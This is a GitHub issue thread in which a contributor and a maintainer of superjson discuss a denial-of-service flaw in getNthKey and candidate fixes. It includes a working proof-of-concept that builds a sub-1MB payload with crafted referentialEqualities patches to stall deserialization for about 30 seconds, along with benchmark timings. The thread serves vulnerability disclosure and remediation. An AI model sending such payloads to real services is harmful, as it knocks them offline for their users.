DoS via getNthKey #346

Activity

1. JeremyMoeglich commented on Dec 17, 2025

   

   JeremyMoeglich

   on Dec 17, 2025

   Last edited by JeremyMoeglich

   Author

   More actions

   I don't like the complexity either, but getNthKey requires lookup by index in the iteration order.
   The reason I opted against using a plain array is that this order can change via setDeep and arrays don't allow quick insertion and deletion of elements

   The custom datastructure enables log(n) insert, delete and get.

   To me needing index based lookup into Sets and Maps feels weird anyway but eliminating that might be a larger change and I am not familiar with the full code
2. JeremyMoeglich commented on Dec 17, 2025

   

   JeremyMoeglich

   on Dec 17, 2025

   Last edited by JeremyMoeglich

   Author

   More actions

   Actually I just found another issue that was present in the previous version, good thing the correct implementation actually enables a simpler solution for this issue too. I had made the assumption that the iteration order changes in setDeep were intended turns out they cause a bug.
   This means the easy array based solution which maintains index in setDeep is actually possible

   Here is the repro for the issue I used

   import superjson from './dist/index.js';
   
   // Create shared objects that will appear in both an array and a Set
   const objA = { name: 'A' };
   const objB = { name: 'B' };
   const root = {
     master: [objA, objB],
     testSet: new Set([objA, objB])
   };
   
   const ser = superjson.serialize(root);
   console.log("Serialized Meta:", JSON.stringify(ser.meta, null, 2));
   
   const deser = superjson.deserialize(ser);
   const setArr = Array.from(deser.testSet);
   console.log("Result Set:", setArr);
   
   if (setArr[0] !== deser.master[0] || setArr[1] !== deser.master[1]) {
     console.error("FAIL: Set elements do not match master references.");
     console.error("Expected:", deser.master);
     console.error("Got:", setArr);
   } else {
     console.log("SUCCESS: Set elements match.");
   }

   Serialized Meta: {
   "values": {
   "testSet": [
   "set"
   ]
   },
   "referentialEqualities": {
   "master.0": [
   "testSet.0"
   ],
   "master.1": [
   "testSet.1"
   ]
   },
   "v": 1
   }
   Result Set: [ { name: 'B' }, { name: 'B' } ]
   FAIL: Set elements do not match master references.
   Expected: [ { name: 'A' }, { name: 'B' } ]
   Got: [ { name: 'B' }, { name: 'B' } ]
3. JeremyMoeglich commented on Dec 17, 2025

   

   JeremyMoeglich

   on Dec 17, 2025

   Author

   More actions

   I'll have to make that change tomorrow though, it's quite late for me.
4. Skn0tt commented on Dec 18, 2025

   

   Skn0tt

   on Dec 18, 2025

   Last edited by Skn0tt

   Collaborator

   More actions

   Let's discuss the second issue in a separate issue.

   If I understand correctly, you're worried about getNthKey performing more work than necessary because it's iterating over all keys time and again and not storing that work. I took a second look at your change, now with using the array instead of a custom avl tree the complexity seems more manageable.

   Could you provide a testcase that leads to the DoS? The problem seems to stem from the fact that we traverse the value two times, instead of just once. I wonder if it's possible to apply referential equality and value transformations in one step instead of two, that way we're always traversing data structures with indexed access.
5. JeremyMoeglich commented on Dec 18, 2025

   

   JeremyMoeglich

   on Dec 18, 2025

   Author

   More actions

   This is the reproduction I used originally:

   import superjson from "superjson";
   
   /**
    * In `src/accessDeep.ts`, `getNthKey` accesses Set/Map elements by index
    * using an O(N) scan. When superjson applies M referential equality patches
    * to a Set of size N, total complexity becomes O(N * M).
    *
    * By targeting indices [N-1, N-2, ..., N-M], each patch walks nearly the
    * entire Set. N=166,000 and M=55,000, is the worst payload I found
    * while staying under 1MB (a common size limit for web applications).
    * This takes about 30 seconds to execute on my machine.
    */
   
   function generateAttackPayload(setSize: number, patchCount: number) {
   	// Create 'setSize' empty arrays (each unique since [] !== []),
   	// other values can be used too, but are less space efficient
   	const jsonArray = Array.from({ length: setSize }, () => []);
   
   	const refTargets: string[] = [];
   	for (let i = 0; i < patchCount; i++) {
   		refTargets.push(String(setSize - 1 - i));
   	}
   
   	return JSON.stringify({
   		json: jsonArray,
   		meta: {
   			values: ["set"],
   			referentialEqualities: {
   				"0": refTargets,
   			},
   		},
   	});
   }
   
   function runBenchmark(
   	label: string,
   	setSize: number,
   	patchCount: number,
   ): number {
   	const payload = generateAttackPayload(setSize, patchCount);
   	const sizeKB = (Buffer.byteLength(payload, "utf8") / 1024).toFixed(2);
   	const parsed = JSON.parse(payload);
   
   	const start = performance.now();
   	superjson.deserialize(parsed as any);
   	const duration = performance.now() - start;
   
   	console.log(`
   [${label}]
     Elements (N)   : ${setSize.toLocaleString()}
     Patches (M)    : ${patchCount.toLocaleString()}
     Payload Size   : ${sizeKB} KB
     Execution Time : ${duration.toFixed(2)} ms
     --------------------------------------------------`);
   
   	return duration;
   }
   
   // Baseline: Large Set with no patches (linear O(N))
   runBenchmark("BASELINE: Normal Large Set", 166000, 0);
   
   // Scaling: Double inputs should show ~4x time (quadratic O(N*M))
   runBenchmark("SCALING: Small Attack", 20000, 5000);
   runBenchmark("SCALING: Double Inputs", 40000, 10000);
   
   // DoS: Optimized 1MB payload (~7.6 billion iterations)
   runBenchmark("DOS: 1MB Optimized Payload", 166000, 55000);
   
   // I measure these times on a Ryzen 7 5700X, Arch Linux
   // NodeJS:
   // baseline: 37.97 ms
   // small attack: 439.44 ms
   // double inputs: 1695.84 ms (3.85x)
   // optimized: 30912.67 ms
   
   // Bun:
   // baseline: 28.13 ms
   // small attack: 524.92 ms
   // double inputs: 2063.38 ms (3.93x)
   // optimized: 45527.36 ms

   👍React with 👍1Reacted by Florian Wendelborn
6. Skn0tt commented on Dec 19, 2025

   

   Skn0tt

   on Dec 19, 2025

   Last edited by Skn0tt

   Collaborator

   More actions

   @JeremyMoeglich please give #347 a review. It's an alternative fix that works by reversing our order of operations, and besides fixing the DOS it even allows deleting some code :)

   Let me know what you think. We'd need to put some effort into making sure we don't regress before merging. If that fails, we can fall back to your approach.

   👍React with 👍1Reacted by Jeremy Möglich